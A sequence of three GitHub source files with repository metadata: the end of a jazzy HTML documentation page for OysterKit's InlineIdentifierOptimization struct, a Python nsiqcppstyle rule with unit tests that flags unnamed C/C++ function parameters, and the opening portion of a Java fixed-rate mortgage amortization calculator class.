href="../Classes/GrammarStructure.html">GrammarStructure</a> </li> <li class="nav-group-task"> <a class="nav-group-task-link" href="../Classes/GrammarStructure/Cardinality.html">– Cardinality</a> </li> <li class="nav-group-task"> <a class="nav-group-task-link" href="../Classes/GrammarStructure/Kind.html">– Kind</a> </li> <li class="nav-group-task"> <a class="nav-group-task-link" href="../Classes/GrammarStructure/DataType.html">– DataType</a> </li> <li class="nav-group-task"> <a class="nav-group-task-link" href="../Classes/GrammarStructure/Node.html">– Node</a> </li> <li class="nav-group-task"> <a class="nav-group-task-link" href="../Classes/OperationContext.html">OperationContext</a> </li> <li class="nav-group-task"> <a class="nav-group-task-link" href="../Classes/SwiftPackageManager.html">SwiftPackageManager</a> </li> <li class="nav-group-task"> <a class="nav-group-task-link" href="../Classes/SwiftStructure.html">SwiftStructure</a> </li> <li class="nav-group-task"> <a class="nav-group-task-link" href="../Classes/SymbolTable.html">SymbolTable</a> </li> <li class="nav-group-task"> <a class="nav-group-task-link" href="../Classes/TextFile.html">TextFile</a> </li> </ul> </li> <li class="nav-group-name"> <a class="nav-group-name-link" href="../Enums.html">Enumerations</a> <ul class="nav-group-tasks"> <li class="nav-group-task"> <a class="nav-group-task-link" href="../Enums/Check.html">Check</a> </li> <li class="nav-group-task"> <a class="nav-group-task-link" href="../Enums/OperationError.html">OperationError</a> </li> <li class="nav-group-task"> <a class="nav-group-task-link" href="../Enums/Platform.html">Platform</a> </li> <li class="nav-group-task"> <a class="nav-group-task-link" href="../Enums/System.html">System</a> </li> </ul> </li> <li class="nav-group-name"> <a class="nav-group-name-link" href="../Extensions.html">Extensions</a> <ul class="nav-group-tasks"> <li class="nav-group-task"> <a class="nav-group-task-link" href="../Extensions/Array.html">Array</a> </li> <li class="nav-group-task"> <a class="nav-group-task-link" href="../Extensions/String.html">String</a> </li> </ul> </li> <li class="nav-group-name"> <a class="nav-group-name-link" href="../Protocols.html">Protocols</a> <ul class="nav-group-tasks"> <li class="nav-group-task"> <a class="nav-group-task-link" href="../Protocols/Generator.html">Generator</a> </li> <li class="nav-group-task"> <a class="nav-group-task-link" href="../Protocols/Operation.html">Operation</a> </li> <li class="nav-group-task"> <a class="nav-group-task-link" href="../Protocols/STLRExpressionOptimizer.html">STLRExpressionOptimizer</a> </li> <li class="nav-group-task"> <a class="nav-group-task-link" href="../Protocols.html#/s:4STLR13STLROptimizerP">STLROptimizer</a> </li> <li class="nav-group-task"> <a class="nav-group-task-link" href="../Protocols/SymbolType.html">SymbolType</a> </li> </ul> </li> <li class="nav-group-name"> <a class="nav-group-name-link" href="../Structs.html">Structures</a> <ul class="nav-group-tasks"> <li class="nav-group-task"> <a class="nav-group-task-link" href="../Structs/CharacterSetOnlyChoiceOptimizer.html">CharacterSetOnlyChoiceOptimizer</a> </li> <li class="nav-group-task"> <a class="nav-group-task-link" href="../Structs/Condition.html">Condition</a> </li> <li class="nav-group-task"> <a class="nav-group-task-link" href="../Structs/InlineIdentifierOptimization.html">InlineIdentifierOptimization</a> </li> <li class="nav-group-task"> <a class="nav-group-task-link" href="../Structs/STLR.html">STLR</a> </li> <li class="nav-group-task"> <a class="nav-group-task-link" href="../Structs/STLR/Quantifier.html">– Quantifier</a> </li> <li class="nav-group-task"> <a class="nav-group-task-link" href="../Structs/STLR/String.html">– String</a> </li> <li class="nav-group-task"> <a class="nav-group-task-link" href="../Structs/STLR/TerminalString.html">– TerminalString</a> </li> <li class="nav-group-task"> <a class="nav-group-task-link" href="../Structs/STLR/CharacterSetName.html">– CharacterSetName</a> </li> <li class="nav-group-task"> <a class="nav-group-task-link" href="../Structs/STLR/CharacterSet.html">– CharacterSet</a> </li> <li class="nav-group-task"> <a class="nav-group-task-link" href="../Structs/STLR/Boolean.html">– Boolean</a> </li> <li class="nav-group-task"> <a class="nav-group-task-link" href="../Structs/STLR/Literal.html">– Literal</a> </li> <li class="nav-group-task"> <a class="nav-group-task-link" href="../Structs/STLR/Annotation.html">– Annotation</a> </li> <li class="nav-group-task"> <a class="nav-group-task-link" href="../Structs/STLR/DefinedLabel.html">– DefinedLabel</a> </li> <li class="nav-group-task"> <a class="nav-group-task-link" href="../Structs/STLR/Label.html">– Label</a> </li> <li class="nav-group-task"> <a class="nav-group-task-link" href="../Structs/STLR/Terminal.html">– Terminal</a> </li> <li class="nav-group-task"> <a class="nav-group-task-link" href="../Structs/STLR/Group.html">– Group</a> </li> <li class="nav-group-task"> <a class="nav-group-task-link" href="../Structs/STLR/Element.html">– Element</a> </li> <li class="nav-group-task"> <a class="nav-group-task-link" href="../Structs/STLR/AssignmentOperators.html">– AssignmentOperators</a> </li> <li class="nav-group-task"> <a class="nav-group-task-link" href="../Structs/STLR/Expression.html">– Expression</a> </li> <li class="nav-group-task"> <a class="nav-group-task-link" href="../Structs/STLR/TokenType.html">– TokenType</a> </li> <li class="nav-group-task"> <a class="nav-group-task-link" href="../Structs/STLR/StandardType.html">– StandardType</a> </li> <li class="nav-group-task"> <a class="nav-group-task-link" href="../Structs/STLR/Rule.html">– Rule</a> </li> <li class="nav-group-task"> <a class="nav-group-task-link" href="../Structs/STLR/ModuleImport.html">– ModuleImport</a> </li> <li class="nav-group-task"> <a class="nav-group-task-link" href="../Structs/STLR/Grammar.html">– Grammar</a> </li> </ul> </li> <li class="nav-group-name"> <a class="nav-group-name-link" href="../Typealiases.html">Type Aliases</a> <ul class="nav-group-tasks"> <li class="nav-group-task"> <a class="nav-group-task-link" href="../Typealiases.html#/s:4STLR5Scopea">Scope</a> </li> </ul> </li> </ul> </nav> <article class="main-content"> <section class="section"> <div class="section-content"> <h1>InlineIdentifierOptimization</h1> <div class="declaration"> <div class="language"> <pre class="highlight swift"><code><span class="kd">public</span> <span class="kd">struct</span> <span class="kt">InlineIdentifierOptimization</span> <span class="p">:</span> <span class="kt"><a href="../Protocols/STLRExpressionOptimizer.html">STLRExpressionOptimizer</a></span></code></pre> </div> </div> <p>Undocumented</p> </div> </section> <section class="section"> <div class="section-content"> <div class="task-group"> <ul class="item-container"> <li class="item"> <div> <code> <a name="/s:4STLR28InlineIdentifierOptimizationVACycfc"></a> <a name="//apple_ref/swift/Method/init()" class="dashAnchor"></a> <a class="token" href="#/s:4STLR28InlineIdentifierOptimizationVACycfc">init()</a> </code> </div> <div class="height-container"> <div class="pointer-container"></div> <section class="section"> <div class="pointer"></div> <div class="abstract"> <p>Undocumented</p> </div> <div class="declaration"> <h4>Declaration</h4> <div class="language"> <p class="aside-title">Swift</p> <pre class="highlight swift"><code><span class="kd">public</span> <span class="nf">init</span><span class="p">()</span></code></pre> </div> </div> </section> </div> </li> <li class="item"> <div> <code> <a name="/s:4STLR23STLRExpressionOptimizerP8optimize10expressionA2AV10ExpressionOSgAH_tF"></a> <a name="//apple_ref/swift/Method/optimize(expression:)" class="dashAnchor"></a> <a class="token" href="#/s:4STLR23STLRExpressionOptimizerP8optimize10expressionA2AV10ExpressionOSgAH_tF">optimize(expression:)</a> </code> </div> <div class="height-container"> <div class="pointer-container"></div> <section class="section"> <div class="pointer"></div> <div class="abstract"> </div> <div class="declaration"> <h4>Declaration</h4> <div class="language"> <p class="aside-title">Swift</p> <pre class="highlight swift"><code><span class="kd">public</span> <span class="kd">func</span> <span class="nf">optimize</span><span class="p">(</span><span class="nv">expression</span><span class="p">:</span> <span class="kt"><a href="../Structs/STLR.html">STLR</a></span><span class="o">.</span><span class="kt">Expression</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="kt"><a href="../Structs/STLR.html">STLR</a></span><span class="o">.</span><span class="kt">Expression</span><span class="p">?</span></code></pre> </div> </div> </section> </div> </li> <li class="item"> <div> <code> <a name="/s:s23CustomStringConvertibleP11descriptionSSvp"></a> <a name="//apple_ref/swift/Property/description" class="dashAnchor"></a> <a class="token" href="#/s:s23CustomStringConvertibleP11descriptionSSvp">description</a> </code> </div> <div class="height-container"> <div class="pointer-container"></div> <section class="section"> <div class="pointer"></div> <div class="abstract"> </div> <div class="declaration"> <h4>Declaration</h4> <div class="language"> <p class="aside-title">Swift</p> <pre class="highlight swift"><code><span class="kd">public</span> <span class="k">var</span> <span class="nv">description</span><span class="p">:</span> <span class="kt">String</span> <span class="p">{</span> <span class="k">get</span> <span class="p">}</span></code></pre> </div> </div> </section> </div> </li> </ul> </div> </div> </section> </article> </div> <section class="footer"> <p>&copy; 2018 <a class="link" href="" target="_blank" rel="external"></a>. All rights reserved. (Last updated: 2018-09-03)</p> <p>Generated by <a class="link" href="https://github.com/realm/jazzy" target="_blank" rel="external">jazzy ♪♫ v0.9.3</a>, a <a class="link" href="https://realm.io" target="_blank" rel="external">Realm</a> project.</p> </section> </body> </div> </html>
{ "content_hash": "9a0b8d1c00fb4e834fe6a866aa2ecf19", "timestamp": "", "source": "github", "line_count": 329, "max_line_length": 569, "avg_line_length": 48.340425531914896, "alnum_prop": 0.49836519114688127, "repo_name": "SwiftStudies/OysterKit", "id": "872095090c4d2fe567f4901ea284089e315bb0eb", "size": "15956", "binary": false, "copies": "2", "ref": "refs/heads/master", "path": "Documentation/STLR/Structs/InlineIdentifierOptimization.html", "mode": "33188", "license": "bsd-2-clause", "language": [ { "name": "Shell", "bytes": "487" }, { "name": "Swift", "bytes": "888036" } ], "symlink_target": "" }
""" Do not ommit function parameter names in the function declaration. It checks function decls only. == Violation == void functionA(int a, int); <== Violation. The second parameter int has no name. void functionB(int ); <== Violation. The first parameter in has no name == Good == void functionA(int a, int b, int c, int d, int e); <== Good. void functionB(int, int, int c, int d) <== Don't care. it's the function definition. { } """ from nsiqcppstyle_rulehelper import * from nsiqcppstyle_reporter import * from nsiqcppstyle_rulemanager import * def RunRule(lexer, fullName, decl, contextStack, context) : if decl : t2 = lexer.GetCurToken() lexer.GetNextTokenInType("LPAREN", False, True) lexer.PushTokenIndex() rparen = lexer.GetNextMatchingToken() lexer.PopTokenIndex() count = 0 while(True) : t = lexer.GetNextTokenSkipWhiteSpaceAndCommentAndPreprocess() if rparen == None or t == rparen or t == None : break if t.type in ["ID", "BOOL", "CHAR", "INT", "LONG", "DOUBLE", "FLOAT", "SHORT", "VOID"] : if t.type == "VOID" : nt = lexer.PeekNextTokenSkipWhiteSpaceAndCommentAndPreprocess() if nt == rparen : return count += 1 elif t.type == "LT" : lexer.GetNextMatchingGT() elif t.type == "COMMA" : if count == 1 : nsiqcppstyle_reporter.Error(t2, __name__, "function (%s) has non named parameter. use named parameter." % fullName) break; count = 0 elif rparen.lexpos <= t.lexpos : if count == 1 : nsiqcppstyle_reporter.Error(t2, __name__, "function (%s) has non named parameter. use named parameter." % fullName) break; ruleManager.AddFunctionNameRule(RunRule) ########################################################################################### # Unit Test ########################################################################################### from nsiqunittest.nsiqcppstyle_unittestbase import * class testRule(nct): def setUpRule(self): ruleManager.AddFunctionNameRule(RunRule) def test1(self): self.Analyze("thisfile.c", """ int functionA(int *a, K<a, b>, int b, int c, int c); """) assert CheckErrorContent(__name__) def test2(self): self.Analyze("thisfile.c", """ int functionA(int, int, int, Scope<T,J> a) { } int B; """) assert not CheckErrorContent(__name__) def test3(self): self.Analyze("thisfile.c", """ class K { int functionA(int *a, int, int, tt&b, aa*s, k a); int B; } """) assert CheckErrorContent(__name__) def test4(self): self.Analyze("thisfile.c", """ class K { int functionA(int *a, int c, int d, tt&b, aa*s, k a); int B; } """) assert not CheckErrorContent(__name__) def test5(self): self.Analyze("thisfile.c", """ class K { int functionA(void); int B; } """) assert not CheckErrorContent(__name__) def test6(self): self.Analyze("thisfile.c", """ class K { int functionA(void*); int B; } """) assert not CheckErrorContent(__name__) def test7(self): self.Analyze("thisfile.c", """ #include <stdio.h> #include <sys/socket.h> // getpeername() #define ILOG_WARN(...) \\ iota::BoxLog::Instance().WriteFormat(box::Warn, __FILE__, __LINE__, __VA_ARGS__) void func(void) { if (::getpeername(nFileDescriptor, (struct sockaddr*) &oSockAddr, (socklen_t*) &nSockAddrSize) == -1) { int nErrorCode = errno; ILOG_WARN("Initialize() - internal error. (getpeername) : \n\t\t" "* this=[%p], fd=[%d], \n\t\t" "* error-code=[%d], error-message=[%s]", this, nFileDescriptor, nErrorCode, strerror(nErrorCode)); return false; } } """) assert not CheckErrorContent(__name__) def test8(self): self.Analyze("thisfile.c", """ #define ILOG_WARN(A) \\ iota::BoxLog::Instance().WriteFormat(box::Warn, __FILE__, __LINE__, __VA_ARGS__) """) assert not CheckErrorContent(__name__) def test9(self) : self.Analyze("thisfile.c", """ /** * @brief constructor with map */ ExeOptionDetail& ExeOptionDetail::operator=(const nano::Variant::Map& mapOptions) { m_nTimeout = _getItemAsInt(mapOptions, "TIMEOUT", -1); return *this; }; """) assert not CheckErrorContent(__name__) def test10(self): self.Analyze("thisfile.c", """struct FnVisibility { void operator () (const DSObjMap::value_type& pair) { DSObject* pObject = pair.second; CHTMLDomUtility::SetStyleProperty(pObject, _T("display"), _T("none")); // ==> Original Code : Rule_6_1_A_Error } }; """) assert not CheckErrorContent(__name__) def test11(self): self.Analyze("thisfile.c", """ CPoint BtnTeamPos[] = { CPoint(BTN_SINGLE_POS_X, BTN_SINGLE_POS_Y), CPoint(BTN_TEAM_A_POS_X, BTN_TEAM_A_POS_Y), CPoint(BTN_TEAM_B_POS_X, BTN_TEAM_B_POS_Y), CPoint(BTN_TEAM_C_POS_X, BTN_TEAM_C_POS_Y) }; """) assert not CheckErrorContent(__name__)
{ "content_hash": "c4d0eaae5a47012546896183d616972a", "timestamp": "", "source": "github", "line_count": 200, "max_line_length": 135, "avg_line_length": 27.435, "alnum_prop": 0.5400036449790414, "repo_name": "DLR-SC/tigl", "id": "ceeb82270c61a4cd741b1a1e199d3c52058e869b", "size": "5487", "binary": false, "copies": "2", "ref": "refs/heads/master", "path": "thirdparty/nsiqcppstyle/rules/RULE_6_1_A_do_not_omit_function_parameter_names.py", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "Batchfile", "bytes": "5617" }, { "name": "C", "bytes": "307361" }, { "name": "C++", "bytes": "3813493" }, { "name": "CMake", "bytes": "274651" }, { "name": "GLSL", "bytes": "15750" }, { "name": "Java", "bytes": "165629" }, { "name": "JavaScript", "bytes": "5338" }, { "name": "Makefile", "bytes": "247" }, { "name": "Python", "bytes": "237583" }, { "name": "SWIG", "bytes": "49596" }, { "name": "Shell", "bytes": "12988" } ], "symlink_target": "" }
package co.da.jmtg.amort; import java.math.BigDecimal; import java.math.RoundingMode; import java.util.HashMap; import java.util.Iterator; import java.util.Map; import java.util.Set; import java.util.SortedMap; import org.joda.time.LocalDate; import co.da.jmtg.pmt.PmtCalculator; import co.da.jmtg.pmt.PmtPeriod; import co.da.jmtg.pmt.extra.ExtraPmt; import com.google.common.base.Objects; import com.google.common.base.Preconditions; import com.google.common.collect.ComparisonChain; import com.google.common.collect.ImmutableMap; import com.google.common.collect.ImmutableSortedMap; import com.google.common.collect.Interner; import com.google.common.collect.Interners; import com.google.common.collect.Ordering; /** * The default implementation of <tt>FixedAmortizationCalculator</tt>. It is for a US based mortgage. * * @since 1.0 * @author David Armstrong * */ class DefaultFixedAmortizationCalculator implements FixedAmortizationCalculator { private final PmtCalculator pmtCalculator; private final PmtKey pmtKey; // Get a local copy of intervalInterestRate, mthlyPmt, and interval from the PmtCalculator object because they will // be used so much when building the amortization table. These two values are not used in toString, equals, // hashCode, or compareTo because they are redundant. private final double periodInterestRate; private final double pmt; // This stores the result and is calculated at the end of the constructor. private final SortedMap<LocalDate, Payment> amortizationMap; // Convenience member to determine if extra payments are configured for this object. It is not evaluated in // hashCode, equals, or compareTo. private final boolean areExtraPmts; // extraPmtMap is not evaluated in hashCode, equals or compareTo because it does not need to be. Its values are // derived from the extra payments captured in the amortizationMap. private final SortedMap<LocalDate, Double> extraPmtMap; private volatile int hashCode; private static final Interner<FixedAmortizationCalculator> interner = Interners.newStrongInterner(); /* * * @param pmtCalculator * * @param pmtKey * * @throws NullPointerException if pmtCalculator or pmtKey is null. * * @throws IllegalArgumentException if PmtPeriod in PmtCalculator is not BIWEEKLY, RAPID_BIWEEKLY, MONTHLY, WEEKLY, * or RAPID_WEEKLY. */ private DefaultFixedAmortizationCalculator(PmtCalculator pmtCalculator, PmtKey pmtKey) { checkPreconditions(pmtCalculator, pmtKey); this.pmtCalculator = pmtCalculator; periodInterestRate = pmtCalculator.getPeriodInterestRate(); pmt = pmtCalculator.getPmtUnrounded(); // MUST get the unrounded payment amount for accuracy. this.pmtKey = pmtKey; amortizationMap = buildTable(); areExtraPmts = false; extraPmtMap = getExtraPmts(); } /* * Builds a FixedAmortizationCalculator with extra payments. It is the responsibility of the developer to ensure * that all dates in the ExtraPmt object are valid dates for this mortgage. * * @param pmtCalculator * * @param pmtKey * * @param extraPmts * * @throws NullPointerException if pmtCalculator, pmtKey, or extraPmts is null. * * @throws IllegalArgumentException if PmtPeriod in PmtCalculator is not BIWEEKLY, RAPID_BIWEEKLY, MONTHLY, WEEKLY, * or RAPID_WEEKLY. * * @throws IllegalArgumentException if extraPmts contains dates that are not valid payment dates for the mortgage * this object represents. */ private DefaultFixedAmortizationCalculator(PmtCalculator pmtCalculator, PmtKey pmtKey, ExtraPmt extraPmts) { checkPreconditions(pmtCalculator, pmtKey, extraPmts); this.pmtCalculator = pmtCalculator; periodInterestRate = pmtCalculator.getPeriodInterestRate(); pmt = pmtCalculator.getPmtUnrounded(); // MUST get the unrounded payment amount for accuracy. this.pmtKey = pmtKey; Map<LocalDate, Double> extraPmtMap = initializeExtraPmts(extraPmts); amortizationMap = buildTable(extraPmtMap); // To be sure, call areExtraPmtsInternal to determine value of areExtraPmts. areExtraPmts = areExtraPmtsInternal(); this.extraPmtMap = getExtraPmts(); } /* * Builds a FixedAmortizationCalculator with extra payments. It is the responsibility of the developer to ensure * that all dates in the ExtraPmt object are valid dates for this mortgage. * * @param pmtCalculator * * @param pmtKey * * @param extraPmts * * @throws NullPointerException if pmtCalculator, pmtKey, or extraPmts is null. * * @throws IllegalArgumentException if PmtPeriod in PmtCalculator is not BIWEEKLY, RAPID_BIWEEKLY, MONTHLY, WEEKLY, * or RAPID_WEEKLY. * * @throws IllegalArgumentException if extraPmts contains dates that are not valid payment dates for the mortgage * this object represents. * * @throws IllegalArgumentException if any of the ExtraPmt objects have duplicate date keys. */ private DefaultFixedAmortizationCalculator(PmtCalculator pmtCalculator, PmtKey pmtKey, Iterable<ExtraPmt> extraPmts) { checkPreconditions(pmtCalculator, pmtKey, extraPmts); this.pmtCalculator = pmtCalculator; periodInterestRate = pmtCalculator.getPeriodInterestRate(); pmt = pmtCalculator.getPmtUnrounded(); // MUST get the unrounded payment amount for accuracy. this.pmtKey = pmtKey; Map<LocalDate, Double> extraPmtMap = initializeExtraPmts(extraPmts); amortizationMap = buildTable(extraPmtMap); // To be sure, call areExtraPmtsInternal to determine value of areExtraPmts. areExtraPmts = areExtraPmtsInternal(); this.extraPmtMap = getExtraPmts(); } /* * Builds a FixedAmortizationCalculator with extra payments. It is the responsibility of the developer to ensure * that all dates in the ExtraPmt object are valid dates for this mortgage. * * @param pmtCalculator * * @param pmtKey * * @param extraPmts * * @throws NullPointerException if pmtCalculator, pmtKey, or extraPmts is null. * * @throws IllegalArgumentException if PmtPeriod in PmtCalculator is not BIWEEKLY, RAPID_BIWEEKLY, MONTHLY, WEEKLY, * or RAPID_WEEKLY. * * @throws IllegalArgumentException if extraPmts contains dates that are not valid payment dates for the mortgage * this object represents. * * @throws IllegalArgumentException if any of the ExtraPmt objects have duplicate date keys. */ private DefaultFixedAmortizationCalculator(PmtCalculator pmtCalculator, PmtKey pmtKey, Map<LocalDate, Double> extraPmts) { checkPreconditions(pmtCalculator, pmtKey, extraPmts); this.pmtCalculator = pmtCalculator; periodInterestRate = pmtCalculator.getPeriodInterestRate(); pmt = pmtCalculator.getPmtUnrounded(); // MUST get the unrounded payment amount for accuracy. this.pmtKey = pmtKey; Map<LocalDate, Double> extraPmtMap = initializeExtraPmts(extraPmts); amortizationMap = buildTable(extraPmtMap); // To be sure, call areExtraPmtsInternal to determine value of areExtraPmts. areExtraPmts = areExtraPmtsInternal(); this.extraPmtMap = getExtraPmts(); } /* * Checks preconditions for objects common to all the constructors. Since the constructors do not call a common * constructor, this is an attempt to consolidate some of the common functionality in each constructor. */ private void checkPreconditions(PmtCalculator pmtCalculator, PmtKey pmtKey) { Preconditions.checkNotNull(pmtCalculator, "pmtCalculator must not be null."); Preconditions.checkNotNull(pmtKey, "pmtKey must not be null."); PmtPeriod pmtPeriod = pmtCalculator.getPmtPeriod(); boolean validPeriod; switch (pmtPeriod) { case BIWEEKLY: case RAPID_BIWEEKLY: case MONTHLY: case RAPID_WEEKLY: case WEEKLY: validPeriod = true; break; default: validPeriod = false; break; } Preconditions.checkArgument(validPeriod, "Valid PmtPeriod values are BIWEEKLY, MONTHLY, RAPID_BIWEEKLY, " + "RAPID_WEEKLY, or WEEKLY"); } /* * Checks preconditions in the constructor that takes an ExtraPmt object. */ private void checkPreconditions(PmtCalculator pmtCalculator, PmtKey pmtKey, ExtraPmt extraPmts) { checkPreconditions(pmtCalculator, pmtKey); Preconditions.checkNotNull(extraPmts, "extraPmts must not be null."); } /* * Checks preconditions in the constructor that takes an Iterable<ExtraPmt> object. */ private void checkPreconditions(PmtCalculator pmtCalculator, PmtKey pmtKey, Iterable<ExtraPmt> extraPmts) { checkPreconditions(pmtCalculator, pmtKey); Preconditions.checkNotNull(extraPmts, "extraPmts must not be null."); } /* * Checks preconditions in the constructor that takes an Map<LocalDate, Double> object. */ private void checkPreconditions(PmtCalculator pmtCalculator, PmtKey pmtKey, Map<LocalDate, Double> extraPmts) { checkPreconditions(pmtCalculator, pmtKey); Preconditions.checkNotNull(extraPmts, "extraPmts must not be null."); } /* * Initialize extra map of extra payments from an Iterable<ExtraPmt> object.If an attempt is made to add an extra * payment with a date key that is not valid for the mortgage this object represents, an IllegalArgumentException is * thrown. If an attempt is made to add an extra payment for a duplicate date, an IllegalArgumentException is * thrown. */ private Map<LocalDate, Double> initializeExtraPmts(Iterable<ExtraPmt> extraPmts) { ImmutableMap.Builder<LocalDate, Double> builder = ImmutableMap.builder(); for (ExtraPmt extraPmt : extraPmts) { builder.putAll(initializeExtraPmts(extraPmt)); } return builder.build(); } /* * Initialize extra map of extra payments from an ExtraPmt object. If an attempt is made to add an extra payment * with a date key that is not valid for the mortgage this object represents, an IllegalArgumentException is thrown. * If an attempt is made to add an extra payment for a duplicate date, an IllegalArgumentException is thrown. */ private Map<LocalDate, Double> initializeExtraPmts(ExtraPmt extraPmts) { ImmutableMap.Builder<LocalDate, Double> builder = ImmutableMap.builder(); // The PmtPeriod for the ExtraPmt must be equal to the payment period for the mortgage, // or YEARLY if the mortage payment is monthly, YEARLY_FOR_WEEKLY if the mortgage payment is WEEKLY or // RAPID_WEEKLY, YEARLY_FOR_BIWEEKLY if the mortgage payment is BIWEEKLY or RAPID_BIWEEKLY, or ONETIME. Anything // else is invalid. PmtPeriod mortgagePeriod = pmtKey.getPmtPeriod(); PmtPeriod extraPeriod = extraPmts.getPmtKey().getPmtPeriod(); boolean validPeriod = isValidPmtPeriod(mortgagePeriod, extraPeriod); Preconditions.checkArgument(validPeriod, "Extra Payment Period " + extraPeriod + " is invalid for a mortgage payment period of " + mortgagePeriod + "."); for (LocalDate key : extraPmts.getPmtKey().getKeys()) { // If any key in extraPmts is not valid for this mortgage, throw an IllegalArgumentException. I aint playin. Preconditions.checkArgument(pmtKey.getKeys().contains(key), "extraPmts contained the following payment date: " + key + ". It is not valid for this mortgage."); // We know this extra payment has a key that matches one of the payment installments. builder.put(key, extraPmts.getAmount()); } return builder.build(); } /* * Initialize extra map of extra payments from an Map<LocalDate, Double> object. If an attempt is made to add an * extra payment with a date key that is not valid for the mortgage this object represents, an * IllegalArgumentException is thrown. If an attempt is made to add an extra payment for a duplicate date, an * IllegalArgumentException is thrown. */ private Map<LocalDate, Double> initializeExtraPmts(Map<LocalDate, Double> extraPmts) { ImmutableMap.Builder<LocalDate, Double> builder = ImmutableMap.builder(); Set<LocalDate> keys = extraPmts.keySet(); for (LocalDate key : keys) { // If any key in extraPmts is not valid for this mortgage, throw an IllegalArgumentException. I aint playin. Preconditions.checkArgument(pmtKey.getKeys().contains(key), "extraPmts contained the following payment date: " + key + ". It is not valid for this mortgage."); builder.put(key, extraPmts.get(key)); } return builder.build(); } /** * Create an instance of FixedAmortizationCalculator with no extra payments. * * @param pmtCalculator * @param pmtKey * @return FixedAmortizationCalculator * * @throws NullPointerException * if pmtCalculator or pmtKey is null. * * @throws IllegalArgumentException * if PmtPeriod in PmtCalculator is not BIWEEKLY, RAPID_BIWEEKLY, MONTHLY, WEEKLY, or RAPID_WEEKLY. */ public static FixedAmortizationCalculator getInstance(PmtCalculator pmtCalculator, PmtKey pmtKey) { return interner.intern(new DefaultFixedAmortizationCalculator(pmtCalculator, pmtKey)); } /** * Create an instance of FixedAmortizationCalculator with extra payments represented in the ExtraPmt object. * * @param pmtCalculator * @param pmtKey * @param extraPmts * @return FixedAmortizationCalculator * * @throws NullPointerException * if pmtCalculator, pmtKey, or extraPmts is null. * * @throws IllegalArgumentException * if PmtPeriod in PmtCalculator is not BIWEEKLY, RAPID_BIWEEKLY, MONTHLY, WEEKLY, or RAPID_WEEKLY. * * @throws IllegalArgumentException * if extraPmts contains dates that are not valid payment dates for the mortgage this object represents. */ public static FixedAmortizationCalculator getInstance(PmtCalculator pmtCalculator, PmtKey pmtKey, ExtraPmt extraPmts) { return interner.intern(new DefaultFixedAmortizationCalculator(pmtCalculator, pmtKey, extraPmts)); } /** * Create an instance of FixedAmortizationCalculator with extra payments represented in the Iterable<ExtraPmt> * object. * * @param pmtCalculator * @param pmtKey * @param extraPmts * @return FixedAmortizationCalculator * * @throws NullPointerException * if pmtCalculator, pmtKey, or extraPmts is null. * * @throws IllegalArgumentException * if PmtPeriod in PmtCalculator is not BIWEEKLY, RAPID_BIWEEKLY, MONTHLY, WEEKLY, or RAPID_WEEKLY. * * @throws IllegalArgumentException * if extraPmts contains dates that are not valid payment dates for the mortgage this object represents. */ public static FixedAmortizationCalculator getInstance(PmtCalculator pmtCalculator, PmtKey pmtKey, Iterable<ExtraPmt> extraPmts) { return interner.intern(new DefaultFixedAmortizationCalculator(pmtCalculator, pmtKey, extraPmts)); } /** * Create an instance of FixedAmortizationCalculator with extra payments represented in the Map<LocalDate, Double> * object. * * @param pmtCalculator * @param pmtKey * @param extraPmts * @return FixedAmortizationCalculator * * @throws NullPointerException * if pmtCalculator, pmtKey, or extraPmts is null. * * @throws IllegalArgumentException * if PmtPeriod in PmtCalculator is not BIWEEKLY, RAPID_BIWEEKLY, MONTHLY, WEEKLY, or RAPID_WEEKLY. * * @throws IllegalArgumentException * if extraPmts contains dates that are not valid payment dates for the mortgage this object represents. */ public static FixedAmortizationCalculator getInstance(PmtCalculator pmtCalculator, PmtKey pmtKey, Map<LocalDate, Double> extraPmts) { return interner.intern(new DefaultFixedAmortizationCalculator(pmtCalculator, pmtKey, extraPmts)); } @Override public PmtCalculator getPmtCalculator() { return pmtCalculator; } @Override public PmtKey getPmtKey() { return pmtKey; } @Override public FixedAmortizationCalculator setPmtCalculator(PmtCalculator pmtCalc) { return getInstance(pmtCalc, pmtKey); } @Override public FixedAmortizationCalculator setPmtKey(PmtKey pmtKey) { Preconditions.checkNotNull(pmtKey, "pmtKey must not be null."); return getInstance(pmtCalculator, pmtKey); } /* * Walk through the amortizationMap to see if there are any extra payments greater than 0. Return true as soon as we * find the first one. * * @return true if there are any extra payments greater than 0.0 */ private boolean areExtraPmtsInternal() { Set<LocalDate> keys = amortizationMap.keySet(); for (LocalDate key : keys) { Payment pmt = amortizationMap.get(key); if (pmt.getExtraPrincipal() > 0.0) return true; } return false; } /** * Return areExtraPmts value, which is determined at object instantiation. */ @Override public boolean areExtraPayments() { return areExtraPmts; } /* * Ensures that the payment period is one of: BIWEEKLY, RAPID_BIWEEKLY, MONTHLY, WEEKLY, or RAPID_WEEKLY. */ private boolean isValidPmtPeriod(PmtPeriod mortgagePeriod, PmtPeriod extraPeriod) { boolean validPeriod; switch (mortgagePeriod) { case MONTHLY: switch (extraPeriod) { case MONTHLY: case YEARLY: case ONETIME: validPeriod = true; break; default: validPeriod = false; break; } break; case BIWEEKLY: case RAPID_BIWEEKLY: switch (extraPeriod) { case BIWEEKLY: case RAPID_BIWEEKLY: case YEARLY_FOR_BIWEEKLY: case ONETIME: validPeriod = true; break; default: validPeriod = false; break; } break; case WEEKLY: case RAPID_WEEKLY: switch (extraPeriod) { case WEEKLY: case RAPID_WEEKLY: case YEARLY_FOR_WEEKLY: case ONETIME: validPeriod = true; break; default: validPeriod = false; break; } break; default: validPeriod = false; break; } return validPeriod; } /* * Takes a Map<LocalDate, Double> map with new extra payments and a Map<LocalDate, Double> map with extra payments * that this object has. It returns a merging of the two maps. If add is true, it adds to the value of any payment * that is in the existing map. If add is false, it overwrites any existing extra payment. The existing extra * payment map is mutable, so we can add the contents of the new map to it. */ private Map<LocalDate, Double> mergeWithExistingExtraPmts(Map<LocalDate, Double> newExtraPmtMap, Map<LocalDate, Double> mutableExistingExtraPmtMap, boolean add) { if (add) { for (LocalDate key : newExtraPmtMap.keySet()) { // Get the existing value so we can add it. Double e = mutableExistingExtraPmtMap.get(key); double existing = e == null ? 0.0 : e.doubleValue(); Double newExtra = newExtraPmtMap.get(key).doubleValue() + existing; mutableExistingExtraPmtMap.put(key, newExtra); } } else { // Add the new values from newExtraPmtMap. Any duplicate values in mutableExtraPmtMap will be overwritten, // which is what we want. mutableExistingExtraPmtMap.putAll(newExtraPmtMap); } return mutableExistingExtraPmtMap; } /* * Builds a Map of extra payments if there are already extra payments in extraPmtMap. This is called in the * setExtraPayment(ExtraPmt 